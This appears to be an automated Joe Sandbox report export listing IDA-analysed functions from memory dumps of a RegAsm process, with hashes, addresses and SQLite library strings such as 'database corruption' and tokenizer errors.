Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID:
String ID: [%d]
API String ID: 0-394612830
Opcode ID: 0dee076c37fff60ef2e135e3e99e65541e83d1bc29c75797c10a67273160e122
Instruction ID: 6d72bcba1137d5101377be89d7f494bb65f83e1396c41c0b609ff3d3d713c73c
Opcode Fuzzy Hash: 0dee076c37fff60ef2e135e3e99e65541e83d1bc29c75797c10a67273160e122
Instruction Fuzzy Hash: 5B7147B5904305AFEB20CF20DC85FA773E8AF85B14F448A1DF58D86981E771F60A8762

Function 1FEF13A0 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 214COMMON

Download Yara Rule

Strings

%s at line %d of [%.10s], xrefs: 1FEF1468
ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f, xrefs: 1FEF1459
database corruption, xrefs: 1FEF1463

Memory Dump Source

Source File: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID:
String ID: %s at line %d of [%.10s]$database corruption$ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f
API String ID: 0-2528248365
Opcode ID: 9057d8702fef1acf03aa2e5fabc7f41dc91b7076d1be28e76fe306f162bfb440
Instruction ID: e089de25e9abfc8a394607afa5ed25b379722718d34747206e2f9f30d807e36b
Opcode Fuzzy Hash: 9057d8702fef1acf03aa2e5fabc7f41dc91b7076d1be28e76fe306f162bfb440
Instruction Fuzzy Hash: 707125B26043059FD305CF24C880A57BBE5EF89314F158A9DF8899B352E735F945CBA2

Function 20060FC2 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 189COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,?,00000000,1FFFFFFF), ref: 20060FE7
CatchIt.LIBVCRUNTIME ref: 200610CD

Strings

MOC, xrefs: 20060FF9
RCC, xrefs: 20061001

Memory Dump Source

Source File: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID: CatchEncodePointer
String ID: MOC$RCC
API String ID: 1435073870-2084237596
Opcode ID: 54b4d93c2a5fdb586896f3c2eaa688269ba614ca5cb2bfcbf70240c25b61dbd4
Instruction ID: c51fc8fd787175251e9e0c1d091bd552d8223d1ceed97ef04ddd623f28658609
Opcode Fuzzy Hash: 54b4d93c2a5fdb586896f3c2eaa688269ba614ca5cb2bfcbf70240c25b61dbd4
Instruction Fuzzy Hash: 8C413A71D00249AFEF06CFD4C981ADE7BB6FF48300F1881A9EA14A6261D275AE90DB51

Function 1FEF3060 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 184COMMON

Download Yara Rule

Strings

%s at line %d of [%.10s], xrefs: 1FEF30A1
ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f, xrefs: 1FEF3092
database corruption, xrefs: 1FEF309C

Memory Dump Source

Source File: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID:
String ID: %s at line %d of [%.10s]$database corruption$ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f
API String ID: 0-2528248365
Opcode ID: 517a2f92b292b95e7d819a3292d14ebaf4d4dd213b8fb93e55d02d5af49bf05d
Instruction ID: 887872b3e38a4a8a3136faee4fad0f9361b63e2c9a68c7409d21721fe7cefa8d
Opcode Fuzzy Hash: 517a2f92b292b95e7d819a3292d14ebaf4d4dd213b8fb93e55d02d5af49bf05d
Instruction Fuzzy Hash: 5661C2B5A083059FD704DF68C880AABBBE4FF88704F40495EF99997341E735E945CBA2

Function 1FEBDE5A Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 180COMMON

Download Yara Rule

Strings

(join-%u), xrefs: 1FEBDFA1
(subquery-%u), xrefs: 1FEBDFB3

Memory Dump Source

Source File: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID:
String ID: (join-%u)$(subquery-%u)
API String ID: 0-2916047017
Opcode ID: b3a204b2a0e7e805216c905ba654ed904a447b17eed6362bdfe61494a47aa8f8
Instruction ID: df7dce18b2d092df4db972dc40317beb16f34778a06c3866b99cf431d675b771
Opcode Fuzzy Hash: b3a204b2a0e7e805216c905ba654ed904a447b17eed6362bdfe61494a47aa8f8
Instruction Fuzzy Hash: 0551D875A083418BDB28CF24C8E4A6777A5FF85319F04866DFC5A5B205E732F411CB92

Function 1FF8C640 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 150COMMON

Download Yara Rule

Strings

%s at line %d of [%.10s], xrefs: 1FF8C7EC
ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f, xrefs: 1FF8C785, 1FF8C791, 1FF8C7DD
database corruption, xrefs: 1FF8C7E7

Memory Dump Source

Source File: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID:
String ID: %s at line %d of [%.10s]$database corruption$ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f
API String ID: 0-2528248365
Opcode ID: cb033afcb93bccae3e90a2364006d5e44ea3ea0855f5e22c2500947f6a11d1e6
Instruction ID: d56abdd3aebb05b966918d59910a2d2531a0f60284041e1c5fd46f63ff2b6178
Opcode Fuzzy Hash: cb033afcb93bccae3e90a2364006d5e44ea3ea0855f5e22c2500947f6a11d1e6
Instruction Fuzzy Hash: A45195756083819FC305CF28C4D096ABBE1FF95204F5849AEE5869B302D371E946CBA2

Function 1FEF35E0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 148COMMON

Download Yara Rule

Strings

%s at line %d of [%.10s], xrefs: 1FEF35F9
misuse, xrefs: 1FEF35F4
ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f, xrefs: 1FEF35EA

Memory Dump Source

Source File: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID:
String ID: %s at line %d of [%.10s]$ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f$misuse
API String ID: 0-3564305576
Opcode ID: b54e36a3e33e5ba7fd1f9f7d064edee3b87a6783c9af85fcd7569ab97bd8de72
Instruction ID: 98f05056abe3f20ab86caf4920b22c618ae4e6213d47e203e5068897c7c0fa96
Opcode Fuzzy Hash: b54e36a3e33e5ba7fd1f9f7d064edee3b87a6783c9af85fcd7569ab97bd8de72
Instruction Fuzzy Hash: CB51C2F1A05311AFDB14CF24CC84A57BBA5BF44728F098259F9599B292E331F950CB91

Function 1FF696B0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 136COMMON

Download Yara Rule

Strings

%s at line %d of [%.10s], xrefs: 1FF697EF
ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f, xrefs: 1FF697E0
database corruption, xrefs: 1FF697EA

Memory Dump Source

Source File: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID:
String ID: %s at line %d of [%.10s]$database corruption$ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f
API String ID: 0-2528248365
Opcode ID: 45ef3a88b6bcadb654cea158b223f41491891d479379691ec39f7f4d8ad91de2
Instruction ID: e07878b9642db93e591d6bd83f83228632efa790d659137d6724504aa7facc55
Opcode Fuzzy Hash: 45ef3a88b6bcadb654cea158b223f41491891d479379691ec39f7f4d8ad91de2
Instruction Fuzzy Hash: E94137762047908ED3318F789440AD6FFE0DF41265F0849AED2DA8B652E6A3F486D361

Function 1FEC0300 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 128COMMON

Download Yara Rule

Strings

delayed %dms for lock/sharing conflict at line %d, xrefs: 1FEC03FF
winWrite1, xrefs: 1FEC045E
winWrite2, xrefs: 1FEC043B

Memory Dump Source

Source File: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID:
String ID: delayed %dms for lock/sharing conflict at line %d$winWrite1$winWrite2
API String ID: 0-1808655853
Opcode ID: b27202806098b83bf65c92d963648390945d2673c85824144a62afe7884ac7a0
Instruction ID: 9addf0df9f56aa7c075b15964f7efd5f66aacd31e2433df187eee37e59af3d5e
Opcode Fuzzy Hash: b27202806098b83bf65c92d963648390945d2673c85824144a62afe7884ac7a0
Instruction Fuzzy Hash: 11415B71A043029BE7049F59CD809AFBFE4FB8A214F500A2EFB1AC7160E731E5459791

Function 20035960 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 126COMMON

Download Yara Rule

Strings

%s at line %d of [%.10s], xrefs: 20035985
misuse, xrefs: 20035980
ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f, xrefs: 20035976

Memory Dump Source

Source File: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID:
String ID: %s at line %d of [%.10s]$ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f$misuse
API String ID: 0-3564305576
Opcode ID: f76b384d75f9cc2dd19c0b585f96aa5bf23e0d48d4e3b999f98cd18b3523f7c3
Instruction ID: 74969b5631fa42fffb265bd075a2f02bb0eee9d346b37a354c326e72fe329fdd
Opcode Fuzzy Hash: f76b384d75f9cc2dd19c0b585f96aa5bf23e0d48d4e3b999f98cd18b3523f7c3
Instruction Fuzzy Hash: 86411A769047009FE3118B94CC80B9EB7E4FF95321F880629F9449B251E379EA95E7A2

Function 1FF8D2E0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 119COMMON

Download Yara Rule

Strings

%s at line %d of [%.10s], xrefs: 1FF8D306
ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f, xrefs: 1FF8D2F7
database corruption, xrefs: 1FF8D301

Memory Dump Source

Source File: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID:
String ID: %s at line %d of [%.10s]$database corruption$ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f
API String ID: 0-2528248365
Opcode ID: fa4a1ee4b0540b2d264f81dda8353fd2873816fb0d016a192aa92e62acf40925
Instruction ID: 897d1b1626ccd8611395920fe779156ce31812cf642b18c065ee5139fd0dae59
Opcode Fuzzy Hash: fa4a1ee4b0540b2d264f81dda8353fd2873816fb0d016a192aa92e62acf40925
Instruction Fuzzy Hash: 1E3116B69043016FD7119A14CC40E9FBBE8EF84364F040929FA49A7361E762F941CBA2

Function 20048850 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 118COMMON

Download Yara Rule

Strings

delayed %dms for lock/sharing conflict at line %d, xrefs: 2004895F
os_win.c:%d: (%lu) %s(%s) - %s, xrefs: 200488E2

Memory Dump Source

Source File: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID:
String ID: delayed %dms for lock/sharing conflict at line %d$os_win.c:%d: (%lu) %s(%s) - %s
API String ID: 0-1037342196
Opcode ID: 0a23a74e51b3fa058d480ee19ee6b078f3350a8d0d990980f26aadbe53683be3
Instruction ID: 2aabcfc7fc833fbbe4218f1df6ac4bb378093277229f56fe4682bca2f40ee670
Opcode Fuzzy Hash: 0a23a74e51b3fa058d480ee19ee6b078f3350a8d0d990980f26aadbe53683be3
Instruction Fuzzy Hash: A1215B70A08386AFF7209B54C884BFFBBD9AFC4304F584C3DE68886592D635AD448397

Function 1FEF5390 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 117COMMON

Download Yara Rule

Strings

%s at line %d of [%.10s], xrefs: 1FEF540D
ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f, xrefs: 1FEF53FE
database corruption, xrefs: 1FEF5408

Memory Dump Source

Source File: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID:
String ID: %s at line %d of [%.10s]$database corruption$ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f
API String ID: 0-2528248365
Opcode ID: 01223ebd8b56d0d499079d72f87cccc8c44fd5f094b7060ea395ec67da4b21d0
Instruction ID: db86b50af169503bce5897f1bdd66880cd375e19e0d8b18557a2d93250984a78
Opcode Fuzzy Hash: 01223ebd8b56d0d499079d72f87cccc8c44fd5f094b7060ea395ec67da4b21d0
Instruction Fuzzy Hash: 9931AE6564179156E3219F3898407E7BBE0DFE131BF04046EE9CAC7685F362F492C361

Function 1FFD7ED0 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 111COMMON

Download Yara Rule

Strings

no such tokenizer: %s, xrefs: 1FFD7F1B
error in tokenizer constructor, xrefs: 1FFD7F92

Memory Dump Source

Source File: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID:
String ID: error in tokenizer constructor$no such tokenizer: %s
API String ID: 0-815501780
Opcode ID: f2080be9e3cc26acbddc2f0ca646041f16125bfc2e8a4766b6e660ee0fd3ae8f
Instruction ID: 8514bc221cdf6a8c1a71e30cd1e7acd7341367e8910f1dfb6098fc43a4e33a6f
Opcode Fuzzy Hash: f2080be9e3cc26acbddc2f0ca646041f16125bfc2e8a4766b6e660ee0fd3ae8f
Instruction Fuzzy Hash: 0E3180776003558FC720CE19D880B5AB3E4EF84619F19066DF948DF300E372F9058BA1

Function 1FF01420 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 106COMMON

Download Yara Rule

Strings

%s at line %d of [%.10s], xrefs: 1FF0147A
ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f, xrefs: 1FF0146B
database corruption, xrefs: 1FF01475

Memory Dump Source

Source File: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
